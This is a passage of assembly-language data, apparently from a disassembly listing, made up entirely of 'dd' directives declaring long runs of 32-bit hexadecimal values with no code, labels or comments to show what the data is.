		dd 91628C4Fh, 2FA8F3E9h, 0BB0FCC8Eh, 9422766h, 43C1E3C1h
		dd 689724DBh, 0B055B920h, 50B9D8Ah, 4DBAAB39h, 0F2432EECh
		dd 8448A068h, 0D658A2AAh, 6883ADB2h, 67102FF1h,	2D02CDE3h
		dd 235A21ACh, 4D36F55h,	15ED96E9h, 0A52C0101h, 5F09B332h
		dd 5B414B7Bh, 6997E487h, 5A7AB076h, 172B2CD2h, 5450626Bh
		dd 0BA4D3DFh, 1DE85BF3h, 0CD656696h, 59901F38h,	9506E6C1h
		dd 6F0B08FAh, 0FF552E19h, 4B674430h, 8A2F0124h,	3B578A00h
		dd 99F5311Eh, 0EE216246h, 816A6575h, 6DEBA7C6h,	12AA7846h
		dd 0C4B28AF5h, 3604AE4Ah, 0E212F38Eh, 0C4DF9A2Dh, 55390CDEh
		dd 3BC5FB4h, 0C2F68103h, 7715476h, 0EA566F6Ah, 35E2CF40h
		dd 0EF60C924h, 0D49E5FA9h, 163668ECh, 0CA789022h, 4EE91F1Bh
		dd 893C7BAFh, 0A2695EF1h, 0BEED3497h, 0EA70620Bh, 0FCC48719h
		dd 22D7A03h, 0DB40F00Ch, 0C275294Bh, 0C080D88h,	49371404h
		dd 6C763C1h, 0E5D0E9D0h, 4879B27Fh, 7FC24FEEh, 6BDD40FEh
		dd 6A6CB78Fh, 7685312h,	0ED4FA5E3h, 4F3580A8h, 0B45E0D06h
		dd 0CAE60E66h, 112DDC5h
		dd 5677E5A2h, 0BAF07B68h, 9F7BC36h, 0DB5ED0F7h,	4AC5C482h
		dd 66E8F728h, 0BB80D949h, 7A027181h, 4D54B0Ch, 0FC295852h
		dd 7F05B006h, 2E40046Fh, 0AE4F94E9h, 39C64341h,	0B43F2451h
		dd 1340E878h, 6C4C00BFh, 0CF812637h, 0C5255C63h, 0C88ED52Bh
		dd 0A54D6060h, 14C94F61h, 973F8005h, 9525210Ah,	5F4B20D6h
		dd 5A9732CFh, 0EE8964ECh, 0D469ABFFh, 434C403h,	0CAFFA9F9h
		dd 0B828605Ah, 50432AE7h, 0E359C31h, 71A64BA1h,	16545FA0h
		dd 3B2FE92Ch, 964FD4FDh, 3882BEB2h, 0E71455E1h,	0C837E910h
		dd 72629260h, 51074CBBh, 473484B9h, 0F0825569h,	0CE758F32h
		dd 4DB8F6B5h, 5938335Dh, 3041EEE0h, 81026CD8h, 0DF7835CAh
		dd 25FF86Eh, 0E970EE3Dh, 0BB5EBAADh, 0BF114381h, 0E2F14167h
		dd 0B2EEF554h, 8073C099h, 75FE63F2h, 0B460E5C2h, 0CDB34EC0h
		dd 50A2230Dh, 0D7C0B712h, 996E5DC5h, 9D897C61h,	7E80155Bh
		dd 116AC1Eh, 833E98CDh,	0AF1C0308h, 5057970Fh, 9EEBEA32h
		dd 5F229A01h, 0A508BB89h, 0AF5D1E3Eh, 57EC8A7Ah, 1C54CF97h
		dd 5E0568DEh, 0D0F4F99Ch, 3B8900D8h, 663502DFh,	0C1C27A5Ah
		dd 533C72A8h, 3F1C712Eh, 0A57EAED9h, 0BE110593h, 5A59872Ch
		dd 0A0BBE2BEh, 9EF421E9h, 0F3A9F07h, 0EA693C7Ch, 6E5D5D41h
		dd 92899Ch, 257FB43Bh, 52447E96h, 30E50514h, 0FE21279Bh
		dd 29638FF9h, 39000B89h, 6DCD59AFh, 30DE0127h, 0C0F53F6Bh
		dd 0F8685259h, 3B24122Dh, 0C702275Ah, 0C03F205Bh, 25F642E7h
		dd 0BDF8C4FFh, 959DE934h, 18252DAEh, 2525E9AEh,	0D8A122AFh
		dd 515A00BFh, 0FC4A8850h, 0E96988ABh, 20F9C832h, 23C7C143h
		dd 72582103h, 0F91222A2h, 6458D578h, 0F0744527h, 0A7E5F71Ch
		dd 0FE805B43h, 0BFDB8CE9h, 0FDA54DD9h, 3185C7A7h, 85487823h
		dd 0D8F70458h, 0EC2DFDC0h, 0F0FB2495h, 2CAA2CDCh, 6CB9AEB6h
		dd 0FC146F0Ch, 2DB8FB1Fh, 0B9DDBA7h, 0F1FB0AD1h, 3DBFE28Ch
		dd 50DD05EEh, 0FC013E0Fh, 820841DDh, 0EF445B1Ch, 0CB16D719h
		dd 0D9174F4Eh, 83BE8AEAh, 30C0A8E9h, 1AF05810h,	554E7F12h
		dd 607BEF9h, 85DD8795h,	0A81184D3h, 145E3B1Fh, 1006C7F0h
		dd 5A2FD1CAh, 0CD68DAD4h, 0EA79B318h, 27711626h, 9B8DFC59h
		dd 0E10C0511h, 0AA322476h, 0BE4EEDB6h, 0FAE8FC35h, 0BB8BEEF4h
		dd 28625825h, 690F767Ah, 0A7039D2Bh, 0D70B4D1Ah, 8FF810ECh
		dd 0AE40D34Bh, 183162A9h, 74C30181h, 0E9FAE75Dh, 2EA78CDh
		dd 865565BAh, 2E7E4022h, 19737902h, 0CE4ADAF7h,	99A970A3h
		dd 3A6F70BDh, 915BD9E9h, 2FF41033h, 905A68A7h, 48AF68E0h
		dd 0FEF29DA8h, 124E779Eh, 6F3EEA91h, 5DEABF89h,	0DDF082C8h
		dd 0C673189Dh, 5271BFD9h, 4C02D5C9h, 5B5846E9h,	2D51F0BDh
		dd 27739C73h, 41C1218Ch, 569B2FE9h, 4CE51AB0h, 7CDBABC4h
		dd 6B098DAFh, 3B7E1E86h, 8096EB09h, 127853ECh, 92D66770h
		dd 40E059C8h, 0AFB17D65h, 0F1D25599h, 94B3696h,	655BCD4Bh
		dd 850FEADh, 541DC177h,	5D0C3989h, 46656818h, 290B2B08h
		dd 280CC84Ch, 0A1CE9F15h, 605399A9h, 739C28C3h,	344CFD52h
		dd 7F99CD34h, 5E0E5FE0h, 9C3A254Fh, 8DEC5C12h, 1E97109h
		dd 5E187723h, 9ABC7A3Bh, 5C1C5E5h, 0C104F00Bh, 3D56B178h
		dd 0DEE62F73h, 0ED5816D9h, 0AFEF3A5h, 5BDC886Dh, 0CBB508CEh
		dd 8554BA0Bh, 8CAFC424h, 0A5A04EFh, 0F7036BE6h,	61142ADh
		dd 26A75F9h, 13077059h,	31C630B5h, 830DAA68h, 9449ED8Bh
		dd 0BEB4AF21h, 0B80223B8h, 62BC2F69h, 2A9D684h,	0A97C8468h
		dd 0CB46FF59h, 0E3A7E917h, 0F8ED4229h, 281143Bh, 1FAF2D02h
		dd 0A5DD1867h, 53E8FDF4h, 55EA98B5h, 3E171B5h, 9E5730CDh
		dd 3331C095h, 47600E66h, 0F20C84C2h, 0E8312F23h, 0E9E2EB51h
		dd 25C4E8FDh, 2781E5Fh,	0E70F9D1Fh, 70AEB4A0h, 0F0BF58AAh
		dd 7CF1F219h, 624C2FF2h, 0A44F89FEh, 5DEA8652h,	90A1D3CCh
		dd 1A99C2ABh, 5F59EA0Fh, 0BA38A557h, 5BDA9744h,	0D2CC27EBh
		dd 0E1F228ABh, 970C1509h, 1610DD70h, 2B5C95E1h,	0A0A250A7h
		dd 4E596A13h, 44AF12ABh, 1DE75001h, 0F9387ACBh,	817F496Dh
		dd 1C312894h, 0F3F85BF9h, 961B1639h, 0A1740334h, 0E203B14Ah
		dd 0F90EB3CBh, 0C0240011h, 89F2038Ah, 0E14AE9DEh, 9BB05A81h
		dd 71C601DDh, 0EF562592h, 0FE036B0Bh, 64F77219h, 684D2C4Ch
		dd 0E9D6A759h, 0CB7F5325h, 0F5F0C8FDh, 47628297h, 3A43FF6h
		dd 0B687DCBh, 0BA00525Eh, 28F03034h, 58EAC142h,	0E1798008h
		dd 845FAD2Fh, 0B12A06Ah, 4CA9701Ch, 5571B2FDh, 74282865h
		dd 5C04FE97h, 66CA68B7h, 0B47495BEh, 0E97A9072h, 9D877068h
		dd 55E9607Eh, 0F8F9B8CAh, 762793C8h, 0C3895C29h, 3F107A5Fh
		dd 3BD30595h, 82840BE8h, 4153AF01h, 0F2D80F01h,	0BBA000ABh
		dd 6DBF57A5h, 405AAD22h, 42E90005h, 0C7887891h,	2E57DDh
		dd 30DDB2EAh, 81E159CAh, 0A7C28006h, 402A91E9h,	3990C742h
		dd 3FB82145h, 4A0CFA38h, 0B38D37BFh, 2F05A107h,	2971B7C5h
		dd 0DA3901FCh, 57E31316h, 13C2CBA1h, 31AB2E68h,	0C9C3888Dh
		dd 0C0E97BDEh, 387CE9C2h, 592742E5h, 12080AB8h,	0FA688124h
		dd 3B345F64h, 282EDC01h, 0BC745C57h, 4EBD094Ch,	0FE82C329h
		dd 40C5242Ah, 0CF69983Dh, 0BDFEA6Fh, 5E2DFF39h,	0E95066F6h
		dd 3A7A5C21h, 0EAB1A784h, 44209D41h, 7F714C67h,	0BDEEEC30h
		dd 7019659h, 69E66857h,	0DB015A54h, 2402F96h, 0BDF0D53Eh
		dd 79984B33h, 0BBF14B73h, 2BDA820h, 39301D5Fh, 0CFA14BB9h
		dd 0F9F4847Fh, 7E09F3BEh, 5717929Dh, 1E25F4C4h,	9FCCD3B3h
		dd 40BC17CDh, 77A7B8D3h, 482F4E4Fh, 3616CF7h, 72E744BBh
		dd 0EBEC3187h, 0C51C3C8Eh, 18254928h, 84928DDh,	5415816h
		dd 13FA277h, 0A5F6E82Eh, 0E82481AFh, 0C158000Dh, 8CCEDEE2h
		dd 2DE0CFF9h, 0FB381E0Bh, 2212047Ah, 4097F817h,	7C00CBF7h
		dd 0C32D1A82h, 9F09C930h, 55628C2Eh, 9E405E6Bh,	913C56F5h
		dd 44AE4B99h, 0AC83E9DBh, 58ED4892h, 0EEAA7D94h, 98E1E00Bh
		dd 0B88A885Ah, 7EB700D1h, 0FE21CF80h, 0D71FF0E7h, 34BA97h
		dd 300EEDD7h, 9DE5F84Ch, 7B5159C1h, 19428F88h, 40205039h
		dd 13A37BF7h, 994C4B50h, 0D517BE11h, 1DFC0C52h,	0AC97EB69h
		dd 0E02C74EDh, 5E1330A2h, 0F760FA0Eh, 8B015F3Eh, 0FABEECE9h
		dd 1AAF20A6h, 62297E95h, 28039513h, 5E58BADAh, 28742FD1h
		dd 0A1B1E665h, 9983E27Fh, 5146230h, 0F4BA8F85h,	2F09C36Ch
		dd 0FCFCC7D8h, 0D1B90DDBh, 7A693D2Bh, 20B2FF7Bh, 1318F604h
		dd 19EC76B5h, 52CDBA97h, 90FAE504h, 0A9BBE938h,	0F2826194h
		dd 7D26D60Fh, 8D5E5B0Bh, 5A56291Eh, 0C0EC6EC5h,	0FFB3FF1Ah
		dd 2C0636E0h, 6CFA519Fh, 0A1405E2Ch, 200990F6h,	683BE425h
		dd 0F98C5B82h, 0EC880E3Dh, 3002B759h, 644358E7h, 0E96D8197h
		dd 0E6102A15h, 77951AE9h, 2EC07DFFh, 492E23B8h,	68037E6Bh
		dd 3073632h, 8525B218h,	1A4E5B2Ah, 680BC6EDh, 90A23DF1h
		dd 0F2C605EDh, 6A25667Eh, 53A51013h, 8AEF1288h,	221CFC6Ch
		dd 955B7E7Ch, 9371798h,	47748482h, 3125C9ECh, 92FF4557h
		dd 918AFACBh, 0E2DDDF26h, 5B053507h, 4FA1ABF0h,	1027E69Ah
		dd 3503CAEAh, 0C58273A4h, 2BAFF6D1h, 4E73D0F3h,	80F8BDE7h
		dd 8A1ED6C7h, 3987B540h, 68314094h, 9917EEB9h, 0F8089560h
		dd 7F571D50h, 0DD232EF8h, 15F940DFh, 214C2FC6h,	7E982578h
		dd 0B38452FAh, 6AE7C052h
		dd 6C481432h, 0C49D0B2Ch, 0F4AE0BA5h, 73A73B6Dh, 24C42FB2h
		dd 5049434Ah, 2B21F7EBh, 2605685Dh, 10C34818h, 0B802033Ah
		dd 4AECF630h, 89F6607Fh, 0BFF9BF9h, 43684F29h, 0EEBF5559h
		dd 8ED8C142h, 2A361872h, 0CB5108CDh, 0CF6D91B6h, 33316702h
		dd 89420971h, 0E224B580h, 0D09F69D7h, 7396C48Bh, 7605092Ch
		dd 425A9F87h, 345268E8h, 0E4B961A0h, 50010919h,	0C860E981h
		dd 78D5DB55h, 0FA4B8F7Ch, 0CB9E1777h, 0FAC57F02h, 22D0C109h
		dd 0FE5EF02Fh, 13E61C46h, 86ABC076h, 1127733Ah,	0CEA55E89h
		dd 458EED69h, 8E991F72h, 2E6A7F51h, 266802FCh, 2E69EA1Fh
		dd 0C9CE7BC5h, 2B826A60h, 0CC16EE5h, 78122C7Eh,	16A18E40h
		dd 9D3450D7h, 5C447519h, 2E00BA69h, 4262D249h, 0E85576E9h
		dd 44B020C2h, 681D1095h, 0D44749D6h, 2D30B610h,	2A525A58h
		dd 7165C08h, 2B0BED2Dh,	3B7A5059h, 2914441Bh, 750705D0h
		dd 0C8E911A0h, 1342194Dh, 4DCC7F1Dh, 3E7048FBh,	0A2C5B681h
		dd 7864ED86h, 5A54167Ah, 97728ABEh, 94858B3h, 41DA2F12h
		dd 9DEDB554h, 0F1DC3198h, 0B2443428h, 0E24E8977h, 2CACD7C0h
		dd 3F85E43Bh, 0D13F5266h, 4CB75A14h, 0FD8EF505h, 74AF829Eh
		dd 1BC1BE00h, 31500532h, 34658C6h, 194F92FAh, 0DCE981E5h
		dd 0E9BDD8E6h, 69A7D82Fh, 0A2540DA8h, 56E8A04h,	53F11F16h
		dd 0BA19F0F5h, 0C74A7812h, 6EC300EAh, 13A9E04h,	25E1D558h
		dd 254E46A1h, 187FF2B2h, 0C2B4EEE3h, 1C70EAB7h,	0D3DA15E3h
		dd 6807A844h, 1D7B315Ch, 53B479B2h, 0F8CEBF93h,	0FF31A280h
		dd 599D7558h, 2D68C11Fh, 65312F7Ch, 0F70398DEh,	0BC5572AFh
		dd 0F619EE55h, 31B25B3Dh, 34F693Bh, 0D626CA68h,	6E15604Bh
		dd 0C0B567AFh, 5A0674BBh, 8F49BE0Ch, 2062F301h,	62D2B211h
		dd 6BE9D151h, 0BCAAF95Fh, 3D0974A5h, 68D08EDEh,	8C1A5E35h
		dd 8BB5AF5Bh, 0DB3CDD3Bh, 6775E939h, 4263495Ch,	0FC0C5ED5h
		dd 59D8DFCCh, 5699684Bh, 75179F6Ah, 0F59F3423h,	98742045h
		dd 828CEA4Ch, 43D31E68h, 4020BB76h, 4194B741h, 9F353082h
		dd 7E9E1913h, 0FF4AB6E0h, 182ED7C2h, 4652A3D4h,	0E6AF6015h
		dd 0CDFEAD2Dh, 0FB5F5263h, 0C3E8BC77h, 1C21E6D6h, 772F3DE3h
		dd 2768DEB0h, 3E314B5Ah, 0BD00E4A0h, 70F54144h,	1A12E5B3h
		dd 2E02406Dh, 0E36708F5h, 0E70C13B8h, 0FD04FF6Bh, 0B8009BCFh
		dd 0DD2533Bh, 29041DB6h, 0CEA959CBh, 0C5DD1C8Bh, 4AF2AF5Fh
		dd 1356F432h, 0CD3CEE2h, 0D64236C2h, 5895C672h,	5F7C9761h
		dd 275FE66Bh, 25E63966h, 0CD61CC04h, 7A91461Eh,	443AA2FDh
		dd 0C15352h, 0B079D1BEh, 0FCC2B710h, 873898C0h,	25135ADBh
		dd 0DA08B77Ch, 70BA3C3Bh, 0C289C0C8h, 485EF36Ah, 53624938h
		dd 582D8A5Fh, 0ADF82A93h, 0C76DEF4Eh, 0F399FC7Ah, 3EE9F460h
		dd 5E90EBD6h, 484B4C59h, 62068873h, 0C34293Eh, 0C0780201h
		dd 1683E93Fh, 528B8C6Ah, 0DF3D545Eh, 7CDE8302h,	0AFBB0129h
		dd 83112B62h, 8C01B150h, 41E3B01Dh, 5B222F05h, 53243FDCh
		dd 0C0224127h, 8EF4C13Ah, 84CD2C1Eh, 113615Ah, 98212D86h
		dd 0E882077h, 4CF7E240h, 7338C2DDh, 0E88AEB4Ah,	1EDCBFD2h
		dd 98EF25E9h, 118835A1h, 94DE3B59h, 1F12456Ah, 0ABEAE0AAh
		dd 7FC88E69h, 0F4ED2E87h, 0D194FB28h, 3402E4EFh, 0B142FB95h
		dd 99D6B062h, 0EB29931Eh, 0B5F51D6h, 1FC8099Ah,	4082CD68h
		dd 5860DC25h, 0D00B153Ch, 2A80575Ah, 729D7E51h,	0E9F78904h
		dd 1F88D147h, 5C0571A8h, 0EA50B01Fh, 425A8156h,	0FA55C0A6h
		dd 20680552h, 0F206A012h, 0FF2CAD0h, 9794462Dh,	7B0939B0h
		dd 5F297A25h, 0C57F3B0Bh, 0A4E9051Bh, 4A47A3B2h, 0C15F24E8h
		dd 0D7C45F6h, 0FA04A745h, 82BA1CF5h, 517861ADh,	0DCB2D04h
		dd 0E3BE5F0Ah, 431D5085h, 0F52712B6h, 344F3296h, 7FFDB2D2h
		dd 0C19F3CF2h, 0BF058A1Eh, 0F12F44DCh, 0D9198C7Bh, 50B6A9B7h
		dd 3075F64h, 0F93548E8h, 1CE0A2B2h, 0DB953D33h,	0FC68AD9Ah
		dd 0FF71DA7Fh, 5D406888h, 0A1851323h, 0C140C95Ah, 892B287Ch
		dd 588A8253h, 80C856A2h, 5C461CC6h, 409FEF01h, 5B5D2F67h
		dd 345ECA5h, 245F1E4Fh,	0BF3B84Bh, 1F521847h, 0C501C43h
		dd 8909F606h, 3DBE5BD8h, 3B3A03FBh, 6D6C5F85h, 0E7F0BB17h
		dd 5A01904Eh, 1481C940h, 4F2BEABh, 502B68CFh, 4982C051h
		dd 4107F379h, 0A884F65Fh, 0A8B1E91Fh, 93B85A0Bh, 38DD6E1h
		dd 0F091B258h, 0FA595EAFh, 491EF428h, 680BABADh, 0F3EE1118h
		dd 958CDA20h, 611111DDh, 0A49DA860h, 9E49740h, 58D3D04Dh
		dd 75CE04C0h, 7FD9456Dh, 0BDCBAC2Eh, 0AE100A32h, 0CA68096Ch
		dd 0D2D6765Fh, 9D20A2D8h, 4EF09D84h, 9577E49Dh,	0FFC95A59h
		dd 0DB08B14Dh, 84D82590h, 822FB97h, 9B288D70h, 71272225h
		dd 9C02881Ch, 1A33BD01h, 3C215352h, 0A0802B64h,	958A1498h
		dd 0F60205A7h, 50956B6Dh, 0BF5806Bh, 1E792C21h,	76BF0383h
		dd 0C052EE9h, 19C740Dh,	5E5A90C3h, 0C1E842CDh, 75C202E5h
		dd 2FEDBA50h, 16F11A80h, 0E9D09547h, 1571E91Ah,	0B2D1DF38h
		dd 0F5284209h, 33EB5221h, 95A44252h, 0EADFAE7Dh, 55AFEBA3h
		dd 29041A1Ch, 0C282E9F8h, 0C95ECCABh, 0D1B35319h, 0DBEDDF56h
		dd 0CF4CCBECh, 0F367FC10h, 0C65C0BA3h, 13EE2858h, 0FEF246E9h
		dd 4D40AA99h, 7286F088h, 0E9CA0AD0h, 52F11D1Ah,	8D9EE05Dh
		dd 729E1630h, 0B13C045Ah, 23BB00ACh, 90355E10h,	67C7011Fh
		dd 0F9E90E47h, 0C96C4093h, 7D270A34h, 0E9D6E801h, 41B9609Ch
		dd 4D3E0EF5h, 0CD6338F4h, 385DB571h, 0EB2D32F4h, 0E9DB18F7h
		dd 0D98B5936h, 0FA08E717h, 0C0852B12h, 767D1904h, 61C23DACh
		dd 63C2C39Dh, 0E22585DCh, 16C55FDAh, 90EA18B5h,	913EE9B5h
		dd 4248DC9Dh, 13899246h, 0BF77500Fh, 0C55FA30Fh, 20FB9935h
		dd 66ACE2B4h, 9575063Eh, 58B588BCh, 0E85A76CCh,	8C05510Fh
		dd 0FC580844h, 6EF0B75Ah, 0A18F092Dh, 691510A3h, 581C5030h
		dd 0AC81BAA2h, 81187954h, 728FF26Bh, 0B8C45061h, 8C7016E2h
		dd 10DDE844h, 0EC7E05FFh, 5863BAAAh, 22FCB29h, 0A2011F44h
		dd 81546727h, 0D89A6F1h, 0B0FDCE01h, 94F8E929h,	0C828092Fh
		dd 0B62F6902h, 544E1BDAh, 43370C1h, 4BD3F09h, 9A4C762Ch
		dd 8C615631h, 0D16C24C6h, 0DB496990h, 0F4E30066h, 0E906EBC0h
		dd 37C958B9h, 0D8383ADEh, 0A130E85Fh, 0B86E8D0Fh, 6E44B79Ah
		dd 5DDC22C8h, 4D9E776Dh, 30388A15h, 2B5DDAACh, 0E3BB50BEh
		dd 0BB87C40h, 6BE1D07h,	0EEFCA8C3h, 4F0B4E10h, 56065FCAh
		dd 58B7F0E9h, 42AFF6BFh, 260B89DFh, 12FF487Ch, 0CC430568h
		dd 0B44EB973h, 0A12A3C89h, 18B2EF8h, 0CFC96F4Ch, 3D2F6655h
		dd 3DAF6236h, 25E30208h, 78C862A7h, 0D1885105h,	4B56B9C5h
		dd 5CB16CEFh, 2C4B7B9Dh, 2EC71031h, 0F5BC4E5Ah,	0FC7A09B7h
		dd 9B8C769h, 0E8FD31ABh, 82B37900h, 45ED0182h, 73E84204h
		dd 3E416803h, 0B84A01BAh, 2F9470FDh, 60443225h,	0A89EA190h
		dd 0E7740D6Dh, 0A5CB0081h, 0E96ED44Dh, 3AC408BAh, 0B380E388h
		dd 0B162C168h, 9FB214CBh, 12BFD324h, 1A17AF88h,	28B2A3E6h
		dd 0E242BF5Ch, 0E1F70271h, 85A4887Bh, 373BFE02h, 5ABD4025h
		dd 8E9D5064h, 0D0C541BAh, 0D035E0Ah, 0F7EA8777h, 0E90809D5h
		dd 0C1524175h, 25E2D94Bh, 7AE4568Ah, 0F332A84h,	29EBE066h
		dd 2E0F5A3Dh, 871DC0B7h, 60996850h, 3558227Fh, 10D9D64h
		dd 681442EFh, 34FD1B56h
		dd 1A65B7ACh, 14DA7B8Bh, 4AA89070h, 804570B3h, 0DC95BDC3h
		dd 0A2D1099Fh, 0E6A52B71h, 300EB07Ch, 0EA757AB0h, 163D1C40h
		dd 6EA79314h, 0D2683A3h, 53518047h, 0F67BF068h,	0E5B0124h
		dd 0AE3AE602h, 0AEE05D14h, 0F3F606E3h, 3D2585B8h, 7902FFC5h
		dd 145771ABh, 0D3DE9541h, 243855D2h, 0F395BF5Fh, 86FD2D48h
		dd 2D62DF7Ch, 83462A26h, 53B3BA04h, 0E7A07C65h,	0F1D94EF7h
		dd 0BFEC2076h, 52384700h, 0A91F6E2Dh, 0F350169h, 31C93228h
		dd 0B8F498C1h, 0DABA50h, 0BB3E904Ah, 4083C78Eh,	310AB79Ch
		dd 0ED0082DDh, 2F8F29A3h, 0EA893952h, 0C955A24Fh, 8490D55Dh
		dd 0F3728743h, 6DBEDE48h, 67401008h, 5A0F3F2Bh,	69EC63Bh
		dd 0AEC8075Ah, 0C3571D6Bh, 0C5F78109h, 214B4C24h, 752C0Eh
		dd 3C977FB8h, 0B8C22988h, 0B9009FE9h, 0C80503E0h, 64D8721Dh
		dd 935C5F42h, 9D0FE133h, 6C101939h, 0B72050AFh,	0CC41F198h
		dd 0ACCEE87Fh, 0E7DE647Fh, 3EDCE168h, 76E677BCh, 9F88F74Fh
		dd 9603EE68h, 200D6129h, 0DAE23FBBh, 0BA3B95Bh,	90974EE9h
		dd 0F2DF87FAh, 0F37E9F56h, 0F92BE682h, 0E0D6C311h, 0DF045BBEh
		dd 0ADF68164h, 6F795516h, 0EE4EB0BCh, 824C3E31h, 7115916Fh
		dd 879C7F55h, 25D29F59h, 99280329h, 7D8AF109h, 0BA0F9392h
		dd 0F0781E49h, 3D97539Fh, 0C7A78630h, 0AC254013h, 900FC76h
		dd 0C59A4BF6h, 596A6D62h, 5DACC559h, 10162F04h,	7FEB80BFh
		dd 29078581h, 0D2F75DEAh, 1256A17Eh, 22204A26h,	7C7A737Eh
		dd 0C1CF0F0Eh, 0E9C51B07h, 6884D0A1h, 70FA2C5Ah, 64B983BDh
		dd 4E31D17Ch, 0C63A007Ah, 13FE0341h, 429DBE98h,	80E51A73h
		dd 0C521AFACh, 977BB86Dh, 165CA105h, 0DFA4F8FBh, 10346F9Dh
		dd 0E84A9CA8h, 45BA4A5Ah, 0BB9D4083h, 7641F301h, 0A7306938h
		dd 4AA8E26Ah, 0BE88EF4Fh, 0FA602DE9h, 0B4FB574h, 68C25747h
		dd 0C19D7177h, 80B0F5E9h, 0B95EF717h, 13A44BEEh, 8AF9297Dh
		dd 6DDC406Bh, 12EFBA80h, 0AA054C77h, 0D90F1F16h, 0D3605F7h
		dd 161194ABh, 0E39EB08h, 0EC6C9C6Ah, 7FAFF369h,	0AEADD802h
		dd 4601E80Ah, 0D1473831h, 92E4EFDBh, 0A068B3D0h, 5ACE133Dh
		dd 0E85C1B59h, 399A14B0h, 9004314Ah, 680209CCh,	0D2F1368Ah
		dd 0AD5ECE82h, 17C37542h, 2B467230h, 0C4053947h, 30EE7F0h
		dd 0B97DC2B9h, 0FDC64914h, 45C097C2h, 0E9F751Ah, 4FA83Eh
		dd 59EE305Bh, 44E2068h,	0E4F7C08Ch, 61829FF9h, 0EE4CE3D1h
		dd 0B00A2320h, 0BD3D403Ah, 661F5D0Bh, 4A8CF516h, 10950206h
		dd 2F2305C2h, 0E8D6253Eh, 5FF96A17h, 0FCBD2577h, 63FCB7BAh
		dd 62656850h, 0CDE93716h, 5957E8EAh, 0BCCC500Eh, 0A8621F94h
		dd 0CF715DCFh, 6879670Bh, 1627F2FEh, 196741Fh, 2649C827h
		dd 0A8CC2B4Dh, 0B2C04B4Ah, 6B4C7841h, 3EE925Eh,	2B20EACBh
		dd 4C0AC18Ch, 89A04071h, 0D005FF8h, 18A638D8h, 170EF05h
		dd 2635376Fh, 3D469E28h, 632C03DCh, 0CC01CBE3h,	9360B3EAh
		dd 917068BAh, 1461C941h, 0B161D7F6h, 4015A541h,	2F76D8A0h
		dd 48C24B3Eh, 1B177C82h, 0C3BAAF6h, 4ACE9740h, 6FDB6972h
		dd 1804C780h, 14B5D828h, 5FB30678h, 7407E3C0h, 0CB32B773h
		dd 0C16D06DFh, 38A8193Ah, 187A29F8h, 1C505D2h, 0FC12BF05h
		dd 62087410h, 758F5E28h, 5A3222C6h, 705D0ED0h, 8806CE22h
		dd 75C8A2D2h, 3DFA2BE1h, 0AD187FBCh, 97D98742h,	10B5E6D9h
		dd 789F8D01h, 0E1D87B7Ch, 7190005h, 7D685625h, 3C2C0E73h
		dd 4102365Eh, 0D52C1A60h, 0B3C0D962h, 0EF88AB31h, 0A36325FCh
		dd 870937F8h, 80479D16h, 3A6A4933h, 0BDE97A20h,	4034BADEh
		dd 0F3F59DF8h, 0C29E418Dh, 0A5E37B57h, 7F34B2FFh, 0CE2024CCh
		dd 0EF5A4AF8h, 18F15331h, 102AF63Bh, 0DE480397h, 0D41FC00h
		dd 0F64ABE7Ch, 1D19109h, 1391E5DEh, 862005BDh, 70B20110h
		dd 2C5B9F6Eh, 8ED28FAh,	0DDBE5E00h, 0E93AE819h,	0AC69D2CBh
		dd 0F35CCB22h, 0F708270Ch, 0F58084FCh, 0FC19BA3Dh, 0B23A521Eh
		dd 45E9A025h, 0B84DD758h, 0DAB8B56Ah, 612D9DB3h, 0C1164C5Ch
		dd 7775B86Ah, 41512214h, 22514108h, 4FD6A85h, 78A5C3CFh
		dd 5FB23290h, 0DEB172D4h, 1C921F8Eh, 68A32C57h,	0C20BB700h
		dd 0F7435B75h, 5455F2DBh, 92FF1172h, 0E8575D77h, 4D31EC74h
		dd 0DF053EC6h, 982C4C68h, 610BCF18h, 0D5094ACBh, 0F8E7F600h
		dd 0F76BB60h, 7E1FDFF2h, 0C70C65D6h, 26E903FFh,	8E20AF8Bh
		dd 0EF6167F7h, 0CCB652A3h, 0E91BDEF6h, 0BC73A63Fh, 13771EAFh
		dd 289AF729h, 3B7D8D57h, 0E95C8809h, 81D3D49Bh,	0CE4AA3CBh
		dd 267F7027h, 3D247712h, 1C1F1D01h, 1660784Eh, 0B654003Eh
		dd 0E995456Fh, 0C8B90F58h, 36E82D80h, 0D8403082h, 5A665BB0h
		dd 96DBF63Ch, 61AA04CFh, 173467FFh, 615A59D9h, 2A5B5453h
		dd 0A3F4D4E9h, 42E90971h, 0BD14778Eh, 0A144D520h, 0E8C415BDh
		dd 0FC709554h, 0E904C298h, 0D6E7731Dh, 2641F1F1h, 47791AFCh
		dd 0FE31FED2h, 313AAE5Fh, 6B4BA41Fh, 24E977DCh,	420B8C73h
		dd 620BB835h, 3A515764h, 4366AFC0h, 402D8146h, 0ED82E907h
		dd 0DF4C969Ah, 0F4E70261h, 4174B21Dh, 31ED9A1Bh, 98FB8960h
		dd 0BF185220h, 0BFA92C16h, 0D13EE418h, 88E5A3EDh, 0FA620545h
		dd 0E4D25B6Eh, 25030245h, 2E245235h, 1D66A848h,	0D62007Fh
		dd 27F12CE6h, 0ABD4012Dh, 0AEBE3925h, 0EB0F24F7h, 0A2893E8Bh
		dd 79070B31h, 0A1338898h, 16E87425h, 4B1BFE05h,	0A4025BCFh
		dd 0FD02C548h, 0E97F4703h, 0F59CABDEh, 512EC539h, 7A575DEFh
		dd 0BAE462B9h, 5B087EF4h, 2742D01Fh, 584BA32Fh,	295832FAh
		dd 3B178179h, 0E5EB6E90h, 6ED40B7Fh, 1A57D901h,	0DF705FE9h
		dd 4A688041h, 1FA83A10h, 0F692D2B2h, 591E00D2h,	129CA0B8h
		dd 1AC82A84h, 52C3AFC7h, 29E90B0Ch, 0FE452E14h,	50C72568h
		dd 6D5990E6h, 5CE85B22h, 9CB62D78h, 9F082E4h, 9DCEA94Eh
		dd 29C94D7Eh, 16648A4Bh, 98FA6C01h, 1434E9EDh, 0F1BF1ED6h
		dd 24F23A47h, 0D320ACA5h, 0FA41AC1Bh, 0A14548C8h, 0E8E87828h
		dd 79E92D53h, 398E7D89h, 15D084E9h, 28BE554Ah, 460006E0h
		dd 48BD6AB9h, 9DA3FE99h, 3A127063h, 0CD92654Bh,	0B3561A45h
		dd 976C4CA5h, 0E1494379h, 0E90033D7h, 90B59912h, 0BFCF1FB1h
		dd 0A4CBE62Fh, 0C607A86h, 2B0EEE0Bh, 0B2548046h, 0B09F804Bh
		dd 0B7C5705Dh, 5FF95654h, 5116CC36h, 0E99AD154h, 27B57C0Ah
